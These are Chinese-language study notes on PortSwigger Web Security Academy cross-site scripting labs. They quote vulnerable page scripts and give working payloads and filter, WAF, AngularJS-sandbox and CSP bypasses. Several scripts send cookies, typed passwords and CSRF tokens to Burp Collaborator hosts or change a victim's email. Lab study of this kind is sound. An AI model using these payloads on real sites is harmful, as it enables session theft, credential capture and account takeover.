https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
XSS
反射(1)
<script>alert(/1/)</script>
存储(2)
这里需要先存储xss到数据库接着查看
dom(3)
这里是使用的 dom
这里先进行
可以看到这里多了一段代码
<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>
这里尝试去构造一下
document.write('<img src="/resources/images/tracker.gif?searchTerms='+"><script>alert(/1/)</script>"+'">');
"><svg onload=alert(1)>
SVG用来绘画矢量图 onload 在 SVG 文档被浏览器完全解析之后触发动作。 使用此事件调用一次性初始化功能。
innerHTML(4)
<h1><span>2 search results for '</span><span id="searchMessage"></span><span>'</span></h1>
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if (query) {
doSearchQuery(query);
}
</script>
这里使用的是 innerHTML 去给serarchMessage 赋值
这里直接插入script 语句发现也没什么问题 但是却没有弹窗 说明innetHTML对我输入的请求又进行了一次 解码
这里尝试先去html编码试试 那么这里解析一次后应该是<script>alert(1)</script>
如果innerHTML是解析后直接显示就应该弹窗,查看处理后的源代码输出是 <script>alert(1)</script>
那么就清楚了innerHTML在javascript处理的时候做过一次HTML解析,然后到了浏览器加载页面时又做了一次HTML编码
这里便换了一种方式执行
<img src=1 onerror=alert(1)>
改src属性的值无效并引发错误 会触发 onerror 事件处理程序 然后调用alert函数
jQuery查找锚元素(5)
这里尝试
没反应
<div class="is-linkback">
<a id="backLink">Back</a>
</div>
<script>
$(function () {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>
#backLink 选择id 为 backLink 的元素 attr() 用于设置 href属性的值
javascript:alert(document.cookie)
尖括号的 HTML 编码(6)
这里进行了 < 的过滤
<script>alert(/1/)</script>
可以看到这里的pyload已经失效了
<input type=text placeholder='Search the blog...' name=search value="" onmouseover="alert(1)">
尝试去闭合属性构造payload
" onmouseover="alert(1)
href带有双引号 HTML 编码(7)
尝试构造javascript: 伪协议
javascript:alert(1)
js代码注入(8)
这里提示我们有js注入
根据颜色来看成功注入了
'-alert(1)-'
location.search select DOM XSS(9)
url dom xss
这里可以看到其实也像是注入
<form id="stockCheckForm" action="/product/stock" method="POST">
<input required type="hidden" name="productId" value="1">
<script>
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
//这里是取url中的storeId的值
document.write('<select name="storeId">');
//这里是写入html中
if (store) {
document.write('<option selected>' + store + '</option>');
//拼接写入
}
for (var i = 0; i < stores.length; i++) {
if (stores[i] === store) {
continue;
}
document.write('<option>' + stores[i] + '</option>');
}
document.write('</select>');
</script>
<button type="submit" class="button">Check stock</button>
</form>
看到注入后的结果
那么这里尝试把标签闭合 接着注入我们的html代码
1</option></select><script>alert(1)</script>
AngularJS 表达式中的 DOM XSS(10)
这里告诉我们是 AngularJS 的xss漏洞
简单看一下 写的是当 标签包含 ng-app属性的时候就可执行 AngularJS 的表达式 而这个表达式与一般的模板语言大致类似
这里进来之后发现整个body 都可以执行 angular代码 那么我们这里进行尝试
{{ 1+1 }}
通过翻看 burp的文章可以发现 这里存在绕过的payload
https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
{{constructor.constructor('alert(1)')()}}
反射 DOM XSS(11)
<script>function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
//这里代表当页面的 请求状态改变之后执行的代码
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
//这里通过eval执行了 js代码 并且这里是进行了拼接操作
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();
function displaySearchResults(searchResultsObj) {
var blogHeader = document.getElementsByClassName("blog-header")[0];
// 通过clasname找到元素
var blogList = document.getElementsByClassName("blog-list")[0];
var searchTerm = searchResultsObj.searchTerm
// 取出 searchResultsObj 中的searchTerm属性
var searchResults = searchResultsObj.results
var h1 = document.createElement("h1");
h1.innerText = searchResults.length + " search results for '" + searchTerm + "'";
// 添加到h1中去
blogHeader.appendChild(h1);
var hr = document.createElement("hr");
blogHeader.appendChild(hr)
for (var i = 0; i < searchResults.length; ++i)
{
var searchResult = searchResults[i];
if (searchResult.id) {
var blogLink = document.createElement("a");
// 添加a标签
blogLink.setAttribute("href", "/post?postId=" + searchResult.id);
// 存放查到的id进去
if (searchResult.headerImage) {
var headerImage = document.createElement("img");
//添加img标签
headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
//存放 属性进去
blogLink.appendChild(headerImage);
}
blogList.appendChild(blogLink);
}
blogList.innerHTML += "<br/>";
if (searchResult.title) {
var title = document.createElement("h2");
title.innerText = searchResult.title;
blogList.appendChild(title);
}
if (searchResult.summary) {
var summary = document.createElement("p");
summary.innerText = searchResult.summary;
blogList.appendChild(summary);
}
if (searchResult.id) {
var viewPostButton = document.createElement("a");
viewPostButton.setAttribute("class", "button is-small");
viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
viewPostButton.innerText = "View post";
}
}
var linkback = document.createElement("div");
linkback.setAttribute("class", "is-linkback");
var backToBlog = document.createElement("a");
backToBlog.setAttribute("href", "/");
backToBlog.innerText = "Back to Blog";
linkback.appendChild(backToBlog);
blogList.appendChild(linkback);
}
}
</script>
仔细看一下这里其实去发送了一个http请求
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
//这里代表当页面的 请求状态改变之后执行的代码
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
//这里通过eval执行了 js代码 并且这里是进行了拼接操作
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();
这里去尝试闭合一下json请求去执行js代码
{"results":[],"searchTerm":""}-alert(1)//"}
"}-alert(1)//
但是发现转义了 "
接着尝试
\"}-alert(1)//
发现成功逃逸
那么这里是怎么执行的呢 我们来尝试调试一下 在eval这里打个断点
可以看到 js代码执行过程
存储型 DOM XSS(12)
<script>
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
// json 解析 响应
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
// 这里调用了 replace 方法去过滤 <
}
function displayComments(comments) {
let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let avatarImgElement = document.createElement("img");
avatarImgElement.setAttribute("class", "avatar");
avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");
//如果存在avatar 就过滤
if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}
let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
firstPElement.innerHTML = newInnerHtml
}
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}
firstPElement.appendChild(avatarImgElement);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = escapeHTML(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};
</script>
简单看一下这两段代码就可以发现怎么绕过了
"<>".replace('<', '<').replace('>', '>')
"<><>".replace('<', '<').replace('>', '>')
看下源码
同样我们对比着js响应去查看下
<><img src=1 onerror=alert(1)>
尝试下
利用跨站点脚本窃取 cookie(13)
尝试下
存在xss
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
// 向服务器请求并获取其中的内容
method: 'POST',
mode: 'no-cors',
// 当遇到cors错误时进行静默处理不抛出异常
body:document.cookie
// 正文是cookie
});
</script>
那么这里的url当然应该是攻击者能够接收信息的url
这里便拿到了cookie
尝试使用cookie登录
利用跨站点脚本捕获密码(14)
存在xss
这里的目的是让我们去获取到用户的姓名和密码
这样尝试下
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://u50cnd2msgfvrahbwsqqe5rdj4pwdl.burpcollaborator.net',{
// 当长度改变就发请求出去
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
成功拿到账号密码
利用 XSS 执行 CSRF(15)
给了个账号密码 wiener:peter 还说有csrf
先看下 xss
测试下csrf
重放这个csrf值试试 发现可以重复使用
尝试下
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf=bzRUdarVJuLrBhGd9L0WOELcXgBeGvXR&email=123@test.com')
可以执行 但是这里的 csrf 值有点局限性我们换一种写法
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
//onload代表在xml执行完之后执行的代码
req.open('get', '/my-account', true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
// 正则匹配出其中的csrf值
var changeReq = new XMLHttpRequest();
//发送新的请求去更改邮箱
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf=' + token + '&email=test@test.com');
}
</script>
XSS绕过waf(16)
这里存在xss但是也有waf过滤了标签
尝试一下基础语法
这里返回的是标签不被允许
尝试标签那个可以执行
只有两个标签可行
尝试属性 这里就复制第一个去尝试
这里重新标记
<body onresize=alert(1)>
当调整窗口大小的时候触发
书写payload
<iframe src="https://0aa200d50461d5b9c01b740a00220073.web-security-academy.net/?search=%3Cbody+onresize%3D%22print%28%29%22%3E" onload=this.style.width='100px'>
XSS自定义标签(17)
这里翻了下发现个payload
我们直接查看payload
<xss id=x onfocus=alert(document.cookie) tabindex=1>#x
onfocus 代表当 光标聚焦到此标签的时候就会 执行js代码 而后面的 tabindex 表示该元素是可聚焦的 而最后的#x 则是与 id=x 进行配合 id=x 代表改标签的id是x 而#x 则是通过锚点聚焦到该标签上面 这样就能执行js代码了
最终版本
<iframe src="https://0aed001303fc338ac0ba605f00080033.web-security-academy.net/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x">
SVG 标记的反射型 XSS(18)
可以看到有几个标签可行
拿过来尝试下属性
拿过来直接试
<svg><animatetransform onbegin=alert(1) attributeName=transform>
在规范链接标签中反映 XSS(19)
这里好像是crome的特性
'accesskey='x'onclick='alert(1)
XSS 反射到 JavaScript 字符串中,并转义了单引号和反斜杠(20)
测试下 可以看到没有闭合标签 并且标签也没有转义
可以看到转义了’
可以看到转义了 \
</script><script>alert(1)</script>
将 XSS 反射到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义(21)
成功逃逸
\'-alert(1)//
使用尖括号和双引号将 XSS 存储到onclick事件中 HTML 编码和单引号和反斜杠转义(22)
这里尝试单引号闭合
'-alert(1)-'
发现字符存在转义 那么这里我们可以进一步尝试一下 由于这个数据是从数据库中取出的 因此使用html编码进行尝试
'-alert(1)-'
将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中 Unicode 转义(23)
var message = `0 search results for '${alert(1)}'`;
这里的 `` 其实就是代表可以使用模板语句的意思
这里使用的 js 的模板语句 ${}里边是相当于js代码
${alert(1)}
事件处理程序和href属性被阻止的反射型 XSS(24)
其中可以看到几个标签
查看这篇文章可以发现大致思路
https://portswigger.net/research/svg-animate-xss-vector
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
在 JavaScript URL 中反映了 XSS,并阻止了一些字符(25)
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Back to Blog</a>
这里看到url中的 值在这里出现了
简单试一下
/post?postId=1&'1337
这里可以看到我们填入的 ’ 被url编码了 那么你可能再想这里能执行吗
简单尝试下
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1%26%27-alert%281%29-%27'})
.finally(_ => window.location = '/')">Back
to Blog</a>
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1%26'-alert%281%29-''})
.finally(_ => window.location = '/')">Back
to Blog</a>
两种方式都能弹 这里的原因是由于这段字符执行顺序是 html解码-> url解码 -> javascript解析
/post?postId=1&'-alert(1337)-'
可以看到( )没了
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1%265&'},
x=x=>{
<!--=> 使用匿名函数 -->
throw/**/onerror=alert,1337
//抛出一个异常 弹出1337
}
,toString=x,window+'',{x:''})
//将x转换为字符串
.finally(_ => window.location = '/')">Back
to Blog</a>
看不太懂
post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'
AngularJS 沙箱转义而不使用字符串的反射型 XSS(26)
绕沙箱
还是这个文章 看不太懂
https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs#top
?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
使用 AngularJS 沙箱转义和 CSP 的反射 XSS(27)
<script>
location='https://0a9a002204540c3cc084a6a1005a00ac.web-security-academy.net/?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x';
</script>
这里可以看到是通过 AngularJS 来绕过的csp机制
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
<script>
location='https://0a9a002204540c3cc084a6a1005a00ac.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
CSP 保护的反射型 XSS,带有悬挂标记攻击(28)
悬挂标记攻击
https://portswigger.net/web-security/cross-site-scripting/dangling-markup
这里有一个email参数 其中在页面上是有回显的
?email=1232132
<form action="/my-account/change-email" class="login-form" method="POST" name="change-email-form">
<label>Email</label>
<input name="email" required type="email" value="1232132">
<input name="csrf" required type="hidden" value="rWbiqj3aeSzjosrrn7qdqGzsdrPuNI9F">
<button class='button' type='submit'> Update email</button>
</form>
可见这里的 value直接插入了 html中 我们尝试闭合一下 刚好这里也没有过滤 ">
/my-account?email=1232132"><a+href%3d"https%3a//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit">Click+me</a><base+target%3d
这样一构造就变成了 值了
window.name跨域
https://www.cnblogs.com/Walker-lyl/p/7454522.html
js中几种实用的跨域方法原理详解
https://www.cnblogs.com/fliu/articles/5249130.html
我们来看下官方的构造方法
<script>
if(window.name) {
new Image().src='//uzx25ua3zzzar7j0b9mqbfs1csil6a.burpcollaborator.net?'+encodeURIComponent(window.name);
} else {
location = 'https://0a9200b003b6fd42c0d343d600c200fd.web-security-academy.net/email?email=%22%3E%3Ca%20href=%22https://exploit-0a4e00e903cffd99c04c43e201dd00d4.web-security-academy.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>
这里没有明显传递window.name 但是这里用到了 <base target=xxx>
尝试一下发现 使用 <base target=xxx>
指定target跳转(a标签 或者location= ),那么target的值会传给跳转后页面的window.name
也就是这样的流程 首先我们 在我们的攻击者服务器上面托管上述代码 当受害者访问时 由于第一次 window.name 为空 因此直接定位到 有漏洞的网站
接着受害者点击Click me
又会跳转回攻击者的服务器 而这次的跳转正如上面所说的是带有数据的 也就是在 window.name中 因此这时 if语句进入 加载了 image 页面 将数据带入到了 collaborator
拿到数据
成功拿到csrf 的值
Ibsga6CqlfI4i2dVSY14boHMlR2Xasr4
修改email处抓包
修改两处值
受 CSP 保护的反射型 XSS,绕过 CSP(29)
Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=
这里有一个 report-uri /csp-report?token= 意思就是把token里的策略发布到对应站点(自定义策略),通过get传值即可,构造payload
?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
-elem可以管理 script-src的规则,利用这个参数,可以重写规则